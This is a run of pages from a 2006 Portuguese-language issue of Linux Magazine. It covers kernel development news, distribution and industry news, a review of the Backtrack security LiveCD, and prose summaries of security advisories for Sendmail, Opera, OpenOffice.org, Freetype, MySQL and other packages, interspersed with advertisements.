
Meu sistema fi cará signifi cativamente mais veloz se eu fechar as janelas que estejam minimizadas na barra de tarefas?

CO

LUN

A

O autor Klaus Knopper é o criador do Knop-pix e co-fundador do evento Linux-Tag. Atualmente ele trabalha como pro-fessor, programador e consultor.

Esta coluna é baseada na seção “Ask Klaus!”,publicada na Linux Magazine International.


© 2006 Intel Corporation, Intel, the Intel logo, Pentium, Itanium, Intel Xeon and VTune are trademarks or registered trademarks of Intel Corporation or its subsidiaries in the United Statesand other countries. *Other names and brands maybe claimed as the property of others.

Itautec0800 121444 www.itautec.com.br/intel

Katalogo 0800 7729897 www.katalogo.com.br/intel

MStech (11) 5080-3838 www.mstech.com.br/intel

Strattus (11) 3531-6550 www.strattus.com.br/intel

Tech Digital (11) 5181-1852 www.techdigital.com.br/intel

Transforme o poder do MultiCore em aplicativos de alto-desempenho. Tenha seus aplicativos preparados para o processamento paralelo e escalável.

Faça certo na primeira vez:

Intel® Threading Analysis ToolsLocaliza os problemas de threadings latentes com visualização em tempo real.

Compiladores Intel C++ e FortranAumenta o desempenho sem mudar o ambiente de desenvolvimento

Analisadores de Desempenho Intel VTune™ Identifica de forma bastante rápida gargalos de desempenho nos aplicativos

Intel Integrated Performance Primitives Acesse bibliotecas de rotinas multimídia otimizadas para múltiplas plataformas

Intel Math Kernel Library Aumenta o desempenho de aplicativos através do uso de rotinas otimizadas como BLAS, FFT, LAPACK, incluindo suporte a MPI

“As ferramentas de threading da Intel tem acelerado nosso ciclo de desenvolvimento imensamente”.

Dana BatalliDiretora de Desenvolvimento do RenderMan

Pixar

LinuxMag80206.qxp 8/2/06 10:00 AM Page 1



Muitas discussões importantes a respeito do kernel acontecem sob a forma de flame wars. A guerra da vez é a respeito do sistema de arquivos Ext4.

Uma mensagem na lista de discussão do kernel anunciou que empresas como RedHat e IBM desejam converter o sistema Ext3 dos atuais 32 para 48 bits, com o intuito de aumentar o tamanho máximo de arquivo, de 8 TB para 1024 PB. Outras mensagens discutiam sobre a implemen-tação de extents no Ext3, o que reduziria a fragmentação dos dados nesse sistema de arquivos. Essas mudanças de baixo nível tão importantes levantaram um questionamen-to a respeito do nome da próxima versão do sistema de arquivos. Seria mais apropriado lançá-las como um fork do Ext3, chamado de Ext4? Apesar de essas mudanças tra-zerem inegáveis melhorias potenciais sobre a velocidade e o tamanho, o Ext3 atualmente é uma bagunça de códigos, difícil de manter e consertar e cheio de recursos úteis so-mente a uma pequena parcela dos usuários.

Os berros vieram quando Linus Torvalds afirmou apoiar a idéia do fork. Segundo ele, a única mudança seria a aplicação das alterações num pedaço separado de código, mantendo a ár-vore do Ext3 como está agora. Mas isso elimi-naria a base de usuários do Ext4, que atualmente

consiste das milhões de instalações do Ext3 no mundo inteiro. Outra dificuldade enorme refere-se à trabalho-síssima implementação no Ext3 das melhorias feitas ao Ext4. Linus diz que os consertos importantes ainda seriam feitos ao Ext3, e que não seria necessário o backport de melhorias do Ext4, pois os usuários não se importam com as últimas inovações.

O “dono” do kernel também expressou sua opinião marcante ao dizer que detesta o IRC e pedir aos desen-volvedores do Git que prefiram a lista [email protected]. Ele lembra que qualquer um pode enviar mensagens à lista, o que diversos desenvolvedores creem ser justamente seu ponto fraco. A abertura da lista significa que qualquer um pode enviar spam, dando a seus administradores um trabalho inacreditável para filtrar o conteúdo. A modera-ção de mensagens retiraria o direito, que Linus defende com os dentes, de qualquer pessoa do planeta a submeter relatos de falhas e consertos para a lista do kernel.

Os berros vieram quando Linus Torvalds afirmou apoiar a idéia do fork do ext3

A padronização da escrita é outro problema que gera confusão. Andrew Morton corrigiu um patch enviado por David Woodhouse, no qual grafava-se tanto “color” quanto “colour”. Optou-se então por utilizar “color” ao longo de todo o kernel, mas ainda há centenas de ocorrências de “colour”, contra mais de 2000 da grafia americana.

Faxina nos sistemas de arquivosNum insight inspirado, Theodore Y.T’so resolveu redu-

zir o uso de memória da struct de inodes do kernel, o que potencialmente favoreceria todos os sistemas de arquivos. Ele encontrou diversos pontos onde seria possível eliminar variáveis para economizar memória, mas reconheceu que modificar todo o código que usa essas variáveis significa-ria uma mudança drástica no código. Para ajudá-lo nisso, convidou outros desenvolvedores, e Alexander de Viro e outros ofereceram-se de imediato. Dez dias depois, com apoio de Linus, o grupo apresentou patches grandes e invasivos, que realizavam boa parte do que ele havia pro-metido. Nem todos os patches cumpriam as promessas à risca, e diversos comentários técnicos surgiram, sendo a maioria bastante favorável. Apesar de não ter havido festa nas ruas ou queima de fogos, muitos outros desen-volvedores se juntaram ao grupo para ajudar a limpar e melhorar o patches.

Cooperação com a IntelNo campo das cooperações externas, a Intel, por meio

de Inaky Perez-Gonzalez, anunciou seu projeto de supor-te a hardware compatível com os padrões WiMedia Ultra Wide Band (UWB) e USB sem fio. O UWB é um padrão de comunicação de curtíssima distância, feito para pequenos ambientes, como salas. Embora o hardware ainda seja difícil ou impossível de encontrar, Inaky convidou desenvolvedores para participar do projeto e ajudar na programação.

Essas discussões são o que impulsiona o desenvolvimen-to do kernel, e o fluxo de mensagens na lista de discussão do kernel, a LKML, e demonstram o ritmo acelerado das mudanças e inovações que ocorrem por lá. ■

Crônicas do kernel

Zack Brown

CO

LUN

A

O autorA lista de discussão Linux-Kernel é o núcleo das atividades de desenvolvimento do Kernel. Zack Brown consegue se perder nesse oceano de mensagens e extrair significado! Sua newslet-ter Kernel Traffic já está completando 5 anos.

Esta coluna é baseada na seção “Zack’s Kernel News”, publicada na Linux Magazine International, e sintetiza o intenso tráfego da lista de discussão do kernel.


A falta de suporte para o sistema operacional até en-tão utilizado foi um dos principais problemas que levaram a Ceagesp – Companhia de Entrepostos e

Armazéns Gerais de São Paulo – a migrar sua tecnologia para a plataforma livre.

“Optamos pela solução com Software Livre por apre-sentar a melhor relação custo-benefício e exigir menos hardware em relação às outras soluções”, esclarece Pau-lo Loesch, coordenador de suporte e infra-estrutura da companhia.

A impossibilidade de crescimento no número de usu-ários e a falta de integração do servidor de domínio e do servidor de email também eram outras das dificuldades a serem superadas.

“Pesquisamos várias empresas que dominavam a tecno-logia Open Source e encontramos na 4Linux a confiança necessária para fazer todas as migrações que precisávamos”, afirma Loesch.

As necessidades da Ceagesp não eram poucas: admi-nistração centralizada; aumento de desempenho; neces-sidade de atualizar o hardware; tolerância a falhas; log de eventos e auditoria; interligar unidades do interior com a matriz; unificação de senhas; controlar o acesso à Internet. E tudo foi possível com o uso de Software Livre.

A 4Linux realizou migrações nos servidores de auten-ticação, email e webmail, proxy, firewall e servidor de arquivos, utilizando em todos eles a distribuição Debian. “Com a 4Linux, isso foi possível pelos profissionais alta-mente capacitados”, ressalta o coordenador de suporte da Ceagesp.

Os resultados deste projeto foram uma administração centralizada de usuários e senhas, melhor desempenho dos servidores, suporte a um maior número de usuários e implementação de novos serviços, como VPN. ■

Ceagesp migra para Software LivreEmpresa referência nacional em abastecimento de alimentos adota tecnologia Open Source

Figura 1 Paulo Loesch, da CEAGESP: “Optamos pela solução com Software Livre por apresentar a melhor relação custo-benefício”.

| PUBLICIDADEInforme publicitário

Sobre a CEAGESPA Ceagesp centraliza o abastecimento de boa parte do país e consolidou sua atuação nas áreas de comercialização de hortícolas e armazenagem de grãos. O entreposto da capital é considerado um dos maiores centros de comer-cialização atacadista de perecíveis do mundo, com a movimentação de 250 mil toneladas de frutas, legumes, verduras, pescados e flores a cada mês.

Sobre a 4LinuxA 4Linux é uma empresa de Treinamento e Consultoria em Software Li-vre com foco em segurança, e já treinou mais de doze mil alunos.

Realizou alguns dos maiores cases de Software Livre do Brasil, entre eles: Me-trô de São Paulo, Casa da Moeda do Brasil, Ceagesp, EDS e Projeto CDTC (Centro de Difusão de Tecnologia e Conhecimento) – uma parceria entre a IBM e o ITI – que envolveu, entre outras ações, a maior capacitação em Li-nux do Brasil: 785 multiplicadores do MEC foram treinados pela 4Linux.

Idealizadora do projeto HackerTeen – formação profissional em re-des e segurança da computação, programação, empreendedoris-mo na Internet e ética hacker para jovens de 14 a 19 anos.

www.4linux.com.brwww.hackerteen.com.br

| PUBLICIDADEInforme publicitáriohttp://supertuxbr.blogspot.com


NOTÍCIAS | Geral

➧ Lançado o SUSE Linux Enterprise 10

Após diversos atrasos devido a novos recursos adicionados e devidamente configurados e integrados, a Novell lançou as duas versões do SUSE Linux Enterprise 10, o Server (SLES) e o Desktop (SLED). Entre as novidades estão a inclusão do Xgl para aceleração 3D no desktop, a mudança do nome da versão gratuita da distribuição para Open SUSE e a escolha do Gnome como ambiente de trabalho padrão, em detrimen-to do KDE, o qual ainda foi mantido na distribuição como opção para a instalação. ■

➧ OpenDarwin fecha as portasO projeto OpenDarwin, criado e mantido pela Apple, fechou suas portas. Originalmente idealizado para fomentar e abri-gar o desenvolvimento de um kernel a ser usado como base para o Darwin, o kernel do MacOS X, o projeto não atingiu seus objetivos e acabou tornando-se um simples repositório de projetos relacionados ao sistema operacional da Apple. Entre os diversos fatores que contribuíram para o fechamento do projeto, segundo os responsáveis, estão a indisponibilida-de de códigos-fonte, interação com representantes da Apple, dificuldades na compilação e acompanhamento dos fontes e falta de interesse da comunidade. ■

➧ 800 mil Computadores para todos

Um levantamento da revista ARede mostrou que foram vendidos até o fim de julho deste ano 800 mil unidades do programa federal de democratização do acesso à informá-tica, o Computador para Todos. Na contabilização, foram levados em conta, além das vendas diretas das máquinas com o selo do programa, financiamentos de bancos para compra de computadores nos moldes previstos, e também as vendas de micros diversos com preços próximos à faixa de R$ 1.200,00. Como resultado, pela primeira vez o número de vendas de computadores legalizados foi superior ao de máquinas sem nota fiscal, no mês de abril. ■

➧ Novell cancela distribuição de drivers fechados

A Novell, fabricante da distribuição SUSE, anunciou que pas-sará a distribuir somente drivers de código-fonte aberto em seus produtos Linux. Isso significa que as distribuições não mais virão com os já tradicionais drivers binários proprietários para algumas placas de vídeo. Porém, eles ainda serão distribuídos no site da Novell para que os usuários façam o download. O vice-presidente de produtos Linux da empresa, Holger Dyroff, afirma que a mudança visa a adequar a distribuição aos requisi-tos da Free Software Foundation, que prega que somente sejam incluídos nas distribuições softwares livres. ■

➧ Celulares Motorola com LinuxA Motorola anunciou que utilizará uma solução baseada em Linux e Java nos aparelhos sucessores da família Razr. Dois dos principais objetivos da solução são reduzir custos de desenvolvi-mento e facilitar o desenvolvimento de aplicativos. Os aparelhos devem ser lançados mundialmente ainda em 2006. ■

➧ Fedora WomenSeguindo a tendência das LinuxChix, Debian Women e Ubuntu Women de incentivar a participação feminina na comunidade de software livre, o Projeto Fedora lançou o Fedora Women. O Wiki do projeto afirma que há muitas mulheres compondo a base de usuários do Fedora Core, e que essa é uma forma de aumentar sua representação na comunidade. ■

➧ Curso de programação Linux na Mandriva Conectiva

A empresa lançou o curso “Linux Programming”, voltado à formação de profissionais aptos a desenvolver aplicativos para Linux. Os professores são profissionais especializados da Man-driva Conectiva, a carga horária é de 40 horas, e são necessários conhecimentos em C, C++ e administração de sistemas GNU/Linux. O curso inclui também o desenvolvimento de aplicativos gráficos, e será ministrado na cidade de São Paulo. ■

➧ Google lança repositório de Software Livre

O Google lançou no fim de julho o Google Code, um repositório no estilo do SourceForge, destinado a abrigar projetos de códi-go aberto. Inicialmente, foram hospedados no sistema somente projetos de interesse ao próprio Google, mas a partir do lança-mento a hospedagem foi aberta a todos. O novo sistema possui semelhanças com o tradicional SourceForge, como um sistema de controle de versões, mas os responsáveis afirmam que alguns recursos úteis a desenvolvedores e projetos podem faltar.

No momento do fechamento desta edição, o serviço abrigava mais de 150 projetos de código aberto. Os responsáveis pelo serviço informam que não existe restrição à licença usada pelos projetos, desde que seja aberta, e que a maioria dos desenvol-vedores estão de acordo com a licença BSD. As licenças GPL, Apache e MIT provavelmente também serão usadas em proje-tos futuros. É possível realizar buscas nos projetos hospedados no endereço http://code.google.com/hosting/. ■

NO

TÍC

IAS


➧ Distribuição em destaqueEsta nova seção se dedica à análise de uma distribuição Li-nux alinhada com o tema de capa. Essa distribuição ficará dis-ponível para download no site da Linux Magazine como de costume. Os assinantes passarão a receber um DVD-ROM por se-mestre, com distribuições Linux completas e customizadas.

Já que neste mês estamos falando de invasões, apresentamos a nossos leitores o Backtrack. Trata-se de uma distribuição em LiveCD totalmente voltada à seguran-ça em redes. Após uma rápida inicialização, o CD não levanta nenhuma interface de rede, e também não inicia a interface gráfica, permitindo assim que o usuá-rio defina todas as ações a serem tomadas. Se escolher entrar no X, o usuário terá um KDE com um visual surpreendentemente agradável para uma distribui-ção voltada para hackers. O ambiente desktop faz bom uso de transparências e outros artefatos visuais (os famosos eye candies). No menu principal, acima das seções normais (Multimídia, Internet, Sistema...) está o item Backtrack. Ao abri-lo, diversas ferramentas de segurança serão mostradas, separadas por finalidade. Há todos os tipos de programas de segurança, entre sniffers, exploradores de exploits, ferramentas para configuração de redes ethernet, WiFi e Bluetooth.

Entre as ferramentas para exploits, uma que se destaca é o Metasploit, uma in-terface web para exploração de vulnerabilidades de todo tipo de programas e dispositivos, desde o Apache até o vBulletin. Através do Metasploit, que se abre no

navegador, o usuário só tem o trabalho de selecionar o programa alvo, o sistema operacional, entrar alguns dados necessários (como portas a serem usadas, por exemplo), e o ataque é desferido. Há também uma seção inteira do menu Backtrack dedicada a exploits e configurações de máquinas Cisco. A configuração de redes e dispositivos WiFi e Bluetooth é muito facilitada, com diversos diálogos gráficos.

O sistema é desenhado com o objetivo principal de realizar testes de penetra-ção em redes. Com o LiveCD, o administrador pode se utilizar de boa parte dos recursos que os hackers também terão, e assim garantir que sua rede seja a mais difícil de invadir, afastando invasores e garantindo a privacidade e a segurança.

Na parte forense, o Autopsy fornece uma interface web para o Sleuth Kit, tam-bém incluído na distribuição, que faz análises dos discos locais e oferece toda a informação possível a respeito dos dados gravados nos sistemas de arquivos.

Cada entrada do menu do Backtrack traz uma nova gama de ferramentas de aná-lise de segurança e testes de penetração. Para quem precisa ou simplesmente se interessa, a distribuição é uma ótima companhia para se ter na mochila. O Back-track foi criado com a fusão de dois LiveCDs voltados a testes de penetração em redes, o Whax e o Auditor, e baseia-se no Slax – que tem o Slackware como base. Os autores afirmam que o Backtrack é a melhor versão das distribuições que o for-maram, e sua base garante modularidade e possibilidades de personalização. ■

19

| NOTÍCIASGeral

Linux Magazine #XX | Mês de 200Xhttp://supertuxbr.blogspot.com


➧ SendmailO Sendmail é um Agente de Transporte de Emails (MTA), usado para enviar e receber emails.

Uma falha no processamento de mensagens MIME multi-part foi des-coberta no Sendmail. Um agressor remoto poderia usar uma mensagem especialmente criada para parar o Send-mail durante a entrega de mensagens (CVE-200601173). Em muitos casos, o Sendmail é configurado para só aceitar conexões a partir da máquina local. Por-tanto, somente os usuários que tenham configurado o Sendmail para escutar pedidos remotos estão vulneráveis a este problema. ■Referência no Gentoo: GLSA 200606-19

Referência no Mandriva: MDKSA-2006:104

Referência no Red Hat: RHSA-2006:0515-14

Referência no Slackware: SSA:2006-166-01

Referência no Suse: SUSE-SA:2006:032

➧ Opera 9O navegador Opera 9 foi atualizado para a versão 9.0, para acrescentar diversos novos recursos e resolver alguns proble-mas de segurança.

CVE-2006-3198: Uma vulnerabilidade de estouro de inteiros existe no nave-gador Opera devido ao processamento incorreto de arquivos JPEG. Se valores

excessivamente grandes de largura e altura forem especificados em alguns campos de um arquivo JPEG, um estou-ro de inteiros pode fazer o Opera alocar memória insuficiente para a imagem. Isso leva a um estouro de buffer quan-do a imagem for carregada na memória, o que pode ser explorado para executar código arbitrário.

CVE-2006-3331: O Opera não zera a barra de segurança SSL após mostrar um diálogo de download de um site com SSL, o que permite que agressores remotos falsifiquem um certificado SSL de um site não confiável e facilite ataques do tipo phishing. ■Referência no Suse: SUSE-SA:2006:038

➧ KdebaseOs pacotes kdebase fornecem os aplicati-vos centrais do KDE, e incluem o KDE Display Manager, ou KDM.

Ludwig Nussel encontrou uma falha no KDM. Um usuário local do KDM poderia usar um ataque de symlink para ler um arquivo arbitrário que o usuário não tenha permissão para ler. (CVE-2006-2449) ■Referência no Gentoo: GLSA 200606-23





➧ aRtsO aRts é um sistema modular de tempo real para síntese de áudio usado pelo KDE. O artswrapper é um aplicativo auxiliar usado para iniciar o daemon aRts.

O artswrapper não consegue verificar corretamente se pode se desfazer de pri-vilégios exagerados se um setuid() falhar quando um usuário ultrapassar os limites de recursos permitidos.

Agressores locais podem explorar essa vulnerabilidade para executar có-digo mal intencionado com privilégios elevados. ■Referência no Gentoo: GLSA 200606-22



Referência no Suse: SUSE-SR:2006:015

➧ FreetypeFreetype é um mecanismo para renderi-zação de fontes. Uma falha do tipo integer underflow no Freetype anterior à versão 2.2 permite que agressores remotos cau-sem uma negação de serviço através de um arquivo de fontes com um número ímpar de valores azuis, que causam o un-derflow ao serem decrementados de dois num contexto que espera um número par de valores. (CVE-2006-0747)

Múltiplos estouros de inteiros no Fre-etype anterior à versão 2.2 permitem que

SE

GU

RA

NÇ

A

O OpenOffice.org é uma suíte de aplicativos de escritório que inclui programas como processador de texto, planilha eletrônica, gerenciador de apresentações, editor de fórmula e programa para desenhos.

Um especialista em segurança da Sun relatou um proble-ma com a infraestrutura do aplicativo. Um agressor poderia inserir macros em locais do documento de forma a fazer o OpenOffice.org executá-los quando o arquivo for aberto pela vítima. (CVE-2006-2198)

Uma falha foi encontrada na implementação da máquina virtual Java do OpenOffice.org. Um agressor poderia escrever um applet Java especialmente criado para atravessar a “san-

dbox” e ganhar acesso total aos recursos do sistema com os privilégios do usuário atual. (CVE-2006-2199)

Uma falha de estouro de buffer foi encontrada no processador de arquivos do OpenOffice.org. Um agres-sor poderia criar um arquivo XML especialmente criado para fazer o OpenOffice.org gravar dados em uma posição arbitrária da memória quando o arquivo for aberto pela vítima. (CVE-2006-3117) ■Referência no Debian: DSA-1104-2




➧ Múltiplas falhas no OpenOffice.org


21

| NOTÍCIASSegurança


agressores remotos causem uma negação de serviço (travamento) e possivelmente executem código arbitrário através de vetores de ataque relacionados a (1) bdf/bdflib.c, (2) snft/ttcmap.c, (3) cff/cffgload.c e (4) à função read_lwfn em um arquivo LWFN especialmente criado em base/ftmac.c. (CVE-2006-1861)

O Ftutil.c no Freetype anterior à versão 2.2 permite que agressores remo-tos causem uma negação de serviços (travamento) através de um arquivo de fontes especialmente criado que dispare uma de-referenciação nula. (CVE-2006-2661) ■Referência no Debian: DSA-1095-1

Referência no Mandriva: MDKSA-2006:099-1

➧ wv2O wv2 é uma biblioteca de filtros para arquivos do Microsoft Word usada em diversas suítes de escritório.

Um erro de verificação de limi-tes foi encontrado no wv2, e poderia levar a um estouro de inteiros. Um agressor conseguiria executar código arbitrário com os direitos do usuário que estivesse rodando o programa que usa a biblioteca, através de um

documento do Microsoft Word ma-liciosamente criado. ■Referência no Debian: DSA-1100-1 wv2

Referência no Gentoo: GLSA 200606-24


Referência no Suse: SUSE-SR:2006:015

➧ Xine-libXine-lib é o motor central do reprodu-tor de vídeo Xine. Um estouro de buffer no plugin HTTP (xineplug_inp_http.so) para xine-lib 1.1.1 permite que agressores remotos causem uma negação de serviço (travamento do aplicativo) através de uma resposta longa de um servidor HTTP, como demonstrado com o uso do gxine 0.5.6 (CVE-2006-2802). Além disso, um possível estouro de buffer existe no AVI demuxer, semelhante ao CVE-2006-1502 para MPlayer. ■Referência no Debian: DSA-1105-1


➧ MySQLO MySQL é um popular servidor SQL multi-threaded e multiusuário. Agresso-res poderiam ler porções da memória

usando um nome de usuário termina-do por um caractere nulo, através do comando COM_TABLE_DUMP (CVE-2006-1516, CVE-2006-1517).

Agressores potencialmente poderiam executar código arbitrário através de um estouro de buffer causado por pacotes COM_TABLE_DUMP especialmente criados. (CVE-2006-1518) ■Referência no Gentoo: GLSA 200606-13



➧ HashcashO Hashcash é um utilitário para gerar tokens de Hashcash, um sistema de prova de conceito para reduzir o impacto do spam. Andreas Seltenreich relatou um possível estouro de fila na função array_push() em hashcash.c, como resultado de uma quantidade incorreta de memória alocada para a estrutura ARRAY.

Ao mandar entradas maliciosas para o utilitário Hashcash, um agressor pode conseguir causar um estouro, potencial-mente resultando na execução de código arbitrário com os privilégios do usuário que estiver rodando o aplicativo. ■Referência no Gentoo: GLSA 200606-25

Postura das principais distribuições Linux quanto à segurançaDistribuição Referência de Segurança Comentários

Conectiva Info: distro2.conectiva.com.br/ Lista: [email protected] e distro2.conectiva.com.br/lista Referência: CLSA-... 1

Possui uma página específica; não há link para ela na página prin-cipal. Os alertas são sobre segurança, mas distribuídos através de emails assinados com a chave PGP da empresa para assegurar sua autenticidade. Contém também links para os pacotes atualiza-dos e para fontes de referência sobre o problema sendo corrigido.

Debian Info: www.debian.org/security Lista: lists.debian.org/debian-security-announce Referência: DSA-… 1

Alertas de segurança recentes são colocados na homepage e dis-tribuídos como arquivos HTML com links para os patches. O anún-cio também contém uma referência à lista de discussão.

Gentoo Info: www.gentoo.org/security/en/gsla/index.html Fórum: forums.gentoo.org Lista: www.gentoo.org/main/en/lists.xml Referência: GLSA: … 1

Os alertas de segurança são listados no site de seguran-ça da distribuição, com link na homepage. São distribuí-dos como páginas HTML e mostram os comandos necessá-rios para baixar versões corrigidas dos softwares afetados.

Mandriva Info: www.mandriva.com/security Lista: www1.mandrdrivalinux.com/en/flists.php3#2security Referência: MDKSA-… 1

A Mandriva tem seu próprio site sobre segurança. Entre outras coisas, inclui alertas e referência a listas de discussão. Os aler-tas são arquivos HTML, mas não há links para os patches.

Red Hat Info: www.redhat.com/errata Lista: www.redhat.com/mailing-lists Referência: RHSA-… 1

A Red Hat classifica os alertas de segurança como “Erratas”. Proble-mas com cada versão do Red Hat Linux são agrupados. Os alertas são distribuídos na forma de páginas HTML com links para os patches.

Slackware Info: www.slackware.com/security Lista: www.slackware.com/lists (slackware-security) Referência: [slackware-security] … 1

A página principal contém links para os arquivos da lis-ta de discussão sobre segurança. Nenhuma informação adi-cional sobre segurança no Slackware está disponível.

SUSE Info: www.novell.com/linux/security Lista: www.novell.com/linux/download/updates Referência: suse-security-announce Referência: SUSE-SA … 1

Após mudanças no site, não há mais um link para a página so-bre segurança, que contém informações sobre a lista de discus-são e os alertas. Patches de segurança para cada versão do Suse são mostrados em vermelho na página de atualizações. Uma cur-ta descrição da vulnerabilidade corrigida pelo patch é fornecida.

1 Todas as distribuições indicam, no assunto da mensagem, que o tema é segurança.



CO

RP

OR

ATE

A Advanced Micro Devices, segunda maior fabricante de semicondutores, comprou a ATI Technologies, uma das duas maiores fabricantes de chips gráficos. O valor da compra foi de aproximadamente US$ 5,4 bilhões, e o valor das ações da ATI subiu vertiginosamente. Com a aquisição, a AMD espera aumentar sua participação no mercado de compu-tadores portáteis, e isso pode favorecer o Linux. Analistas sugerem que a amistosidade da AMD com o Linux pode resultar na abertura do código dos drivers das placas de vídeo

da ATI, o que rapi-damente poderia levar a concorrên-cia, isso é, Nvidia, a fazer o mesmo. Antes da compra, a ATI já havia come-çado a melhorar a qualidade de seus drivers para Linux,

aumentando sua velocidade e adotando um calendário de lançamentos de novas versões, o que reforça a idéia de seu impulso em direção ao mercado do código aberto, incluin-do também potencialmente a crescente fatia do mercado de desktops Mac. No evento em que executivos de ambas as empresas anunciaram a fusão, diversas alfinetadas fo-ram dadas contra a concorrente Intel, e muito se falou em

“desbancar o monopólio”. O comunicado à imprensa anun-ciou ainda que os fabricantes pretendem, em poucos anos, unir em um único chip a CPU e a GPU, da mesma forma como se uniram diversas CPUs nos atuais processadores multi-core, facilitando assim a mobilidade, aumentando o desempenho e reduzindo os preços. ■

➧ Compra da ATI pela AMD pode beneficiar Linux

CurtasDebian na ACRA ACR, provedora de cursos de capacitação em TI, mu-

dou a distribuição utilizada em seus cursos de Linux.

A distribuição escolhida foi o Debian 3.1, devido à for-

te proposta social e ao reconhecimento internacional des-

sa distribuição. A distribuição usada antes era a Conectiva,

mas após sua fusão à Mandriva optou-se pela mudança.

Faculdade IBTA oferece curso de LinuxO Centro de Treinamento da Faculdade IBTA, em São Paulo,

abriu as inscrições para o curso de formação Mandriva Conec-

tiva Linux 2006. O programa é composto pelos módulos “Li-

nux System Administrator” e “Linux Network Administrator”, e

é atualizado com a última versão do sistema operacional.

Pingüim na BoeingA Boeing fechou um contrato com a empresa americana Wind

River Systems para usar a distribuição embutida dessa com-

panhia em uma nova aeronave militar. O sistema operacio-

nal será usado em tarefas de monitoramento, entre outras, no

P-8A Multi-Mission Maritime Aircraft, um 737 modificado es-

pecialmente para a marinha americana. O Linux não será usa-

do no sistema de navegação e controle da aeronave.

Fundada em 1981, a Wind River é especializada em Linux embar-

cado e middleware para esse tipo de sistema. No final de julho,

a empresa anunciou a doação de 300 mil linhas de código para

a Eclipse Foundation. As contribuições vão beneficiar quatro

projetos: o C/C++ Development Tools (CDT), o Platform Project

e tanto o Target Management quanto o Device Debugging (DD),

subprojetos do Device Software Development Platform (DSDP).

O Eclipse é um framework de desenvolvimento de código aber-

to, multiplataforma, usado no famoso IDE (Integrated Develop-

ment Environment) JDT (Java Development Toolkit), por exemplo.

➧ Xandros oferece Linux para versões órfãs do WindowsCom a Microsoft cessando a oferta de suporte às versões

98, 98SE e Me do sistema operacional Windows®, a Xandros, fabricante de distribuições Linux amigáveis, está oferecendo aos 50 milhões de usuários “órfãos” de suporte uma oportu-nidade de substituição do sistema operacional pelo Linux. As versões ofertadas do sistema da Xandros são a Desktop Home Edition e a Home Edition Premium, ambas lançadas recente-mente e com suporte total e atualizações via Internet. O des-conto oferecido para a migração é de 50%, e não é necessária a exclusão da instalação do Windows na mesma máquina. Além disso, dispensa as atualizações de hardware requeridas para a atualização do produto Windows. ■

➧ Recorde em bancos de dados com IBM e SybaseA IBM e a Sybase estabeleceram juntas um novo recorde

de desempenho no processamento de transações em servi-dores dual-core com Linux. No benchmark TPC-C, ampla-mente utilizado pela indústria, a combinação de um servidor dual-core IBM System p5 520 com o Sybase Adaptive Server Enterprise superou o recorde anterior, atingindo a marca de 81.439 transações por minuto (tpmC).

Os critérios e resultados do benchmark TPC-C estão dis-poníveis em http://www.tpc.org.

Comparada a outras, essa combinação supera a obtida por um sistema HP/Itanium2 dual-core com Oracle 10g em 58%, e tem o custo por transação 30% menor do que o de um HP/Op-teron dual-core com Microsoft SQL Server. ■


23

| CORPORATENotícias


➧ Linux expande processamento e armazenamento em empresa de alimentosA Doux Frangosul, uma das maiores empresas de ali-

mentos do Brasil, baseou-se no Linux para expandir sua capacidade de processamento e armazenamento. Com seu novo parque tecnológico, iniciado pela implantação de um mainframe da família IBM z800 e seguido pela solu-ção de armazenamento IBM DS 6000, a empresa reduziu em 70% o tempo de backup dos servidores. Rafael Nico-lela, gerente geral de TI da Doux Frangosul, reconhece o Linux como um dos benefícios da plataforma, por ser “um sistema operacional robusto e confiável, que nos permite utilizar a infraestrutura do servidor mainframe para abrigar aplicações anteriormente residentes em plataformas Unix e Intel, aumentando a disponibilidade e reduzindo o Custo Total de Propriedade. Nosso serviço corporativo de dados e o servidor de aplicação web já estão rodando em Linux no mainframe”, conclui Nicolela. ■

➧ Novo gerente de Marketing da Red Hat no BrasilA Red Hat, um dos nomes de maior credibilidade no

mundo do código aberto, contratou o publicitário David Barzilay para a gerência de marketing da nova filial brasi-leira da empresa. David trabalhou de 2002 a 2005 no escri-tório da Red Hat Ásia-Pacífico, em Brisbane, Austrália, e é o único representante brasileiro no Comitê Geral de Em-baixadores do Fedora. David ocupará também o cargo de gerente de relacionamento para a América do Sul, onde terá as funções de intermediar as relações entre os embaixadores locais do Fedora e o Comitê Geral e oferecer suporte aos embaixadores do Fedora na América do Sul e ao projeto One Laptop per Child.

Na função de gerente de marketing, David, reconhecido pela Red Hat como “uma importante liderança na comuni-dade open source”, será responsável por prover suporte à área comercial, aumentar o reconhecimento da marca Red Hat no Brasil, representar a empresa nos eventos corporativos e comunitários e participar das relações entre a comunidade brasileira e a empresa.

“Meu objetivo é mostrar ao mercado que a Red Hat veio para ficar e posicioná-la como líder do mercado brasileiro em soluções Linux. Além disso, quero contribuir ainda mais para projetos de inclusão di-gital, onde a Red Hat atua”, colocou David. ■

➧ Parceria entre Mandriva Conectiva e VexxA Mandriva Conectiva, uma das principais fabricantes do

Linux no mundo, firmou uma parceria com a Vexx Telecomu-nicações e Informática para a venda de computadores com Mandriva Linux 2006 pré-instalado, a partir de agosto.

O sistema operacional será personalizado para as máqui-nas da Vexx, e a compra do equipamento incluirá o suporte por parte da Mandriva Conectiva. O produto terá como alvo as pequenas e médias empresas, principalmente nos estados do Paraná (sede de ambas as empresas) e São Paulo, além de participar do programa Computador para Todos, do go-verno federal, já que a empresa está habilitada a participar do projeto.

O presidente da Mandriva Conectiva do Brasil, Jaques Rosenzvaig, afirmou ver as parcerias OEM como uma ten-dência mundial, e acredita que o produto ajudará a dissemi-nar o Linux no Brasil. ■

CurtasWiki corporativoA empresa americana MindTouch lançou o DekiWiki, um sis-tema web do tipo wiki (edição colaborativa) comercial de có-digo aberto, totalmente baseado em formatos livres.

Voltado para uso corporativo, o sistema é baseado no Me-diaWiki, software em que toda a enciclopédia online Wikipé-dia é baseada. Entre os diferenciais está a interface de edi-ção 100% WYSIWYG (“what you see is what you get”, ou seja, as formatações HTML são feitas como num editor de textos, sem a necessidade de se usar códigos e tags).

A MindTouch oferece também hospedagem para o DekiWi-ki. O programa pode ser baixado em www.opengarden.org.

Becape para VMwareA Invenci.com, fornecedora de soluções de TI para negó-cios, lançou no Brasil o aplicativo esxRanger, para beca-pe do software de virtualização VMware ESX Server.

O esxRanger Professional permite recuperar ambien-tes virtuais criados pelo VMware ESX, garantindo a in-tegridade dos dados dentro da máquina virtual.

